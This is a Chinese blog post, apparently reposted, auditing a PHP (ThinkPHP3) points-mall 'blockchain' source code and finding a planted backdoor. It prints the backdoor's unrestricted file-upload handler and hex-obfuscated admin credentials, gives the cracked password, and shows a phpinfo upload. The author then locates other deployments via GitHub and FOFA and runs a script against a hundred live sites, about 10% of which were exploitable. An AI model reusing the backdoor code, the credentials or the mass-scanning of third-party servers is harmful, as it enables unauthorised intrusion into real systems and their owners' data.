专业的编程技术博客社区

网站首页 > 博客文章 正文

Wo槽,有后门-某区块、积分商城代码审计分享

baijin 2024-09-12 11:21:35 博客文章 6 ℃ 0 评论

写在前面

在审计代码时发现源码被留后门,在GitHub上关键字找到另外一套相同后门的源码,欲知后事如何,且看下文分解。没有技术,看个乐呵

系统简介

【牧场养牛】带积分商城+抽奖+会员特权 区块源码。

开发语言:PHP
开发框架:ThinkPHP3

代码分析

开头即是王炸

鄙人喜欢直接,遂从文件上传开始看。Seay!!!启动!!!

ohhhhhh,出货了。看了下没有上传限制,可以上传任意文件。

if (!empty($_FILES) && !FM_READONLY) {
    $override_file_name = false;
    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }


    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;


    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;


    $targetPath = $path . $ds;
    $fullPath = $path . '/' . $_REQUEST['fullpath'];
    $folder = substr($fullPath, 0, strrpos($fullPath, "/"));


    if(file_exists ($fullPath) && !$override_file_name) {
        $ext_1 = $ext ? '.'.$ext : '';
        $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1;
    }


    if (!is_dir($folder)) {
        $old = umask(0);
        mkdir($folder, 0777, true);
        umask($old);
    }


    if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
        if (move_uploaded_file($tmp_name, $fullPath)) {
            die('Successfully uploaded');
        } else {
            die(sprintf('Error while uploading files. Uploaded files: %s', $uploads));
        }
    }
    exit();
}

就在我研究怎么调用的时候,什么东西?还要登录?奇奇怪怪的。

于是直接访问文件看看,页面长这样,随便输点东西回车,创建失败??

这里一定不简单,于是仔细研究了一下,在代码的开头发现了奇怪的东西。(hex编码的账户密码)

$auth_users=array(pack(chr(72).chr(42),"61646D696E")=>pack(chr(72).chr(42),"2432792431302456494437394D76382F6335776F776B6935726F69644F777169332F53384F6453386B775A2E784E6C656D4B753252504C55376C2E47"),);

哦??有戏!!!用户名是admin,密码是Bcrypt,需要爆破一下。

这里因为已经知道密码了,所以就不演示密码的爆破过程了,ok,密码是“mima123”。

登录成功!!

文件管理器????

传一个phpinfo试试,直接起飞!!!!

梅开二度

后面试了试关键字在GitHub上找找有没有同样后门的源码,确实找到了一套用得比较多的源码(算命、八字源码),后面也是在fofa上查了一下,还行。

用脚本跑了前100条,10%,也还行吧。就算命吧,一算一个不吱声。

关机,开溜!

本文来源于不够安全

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表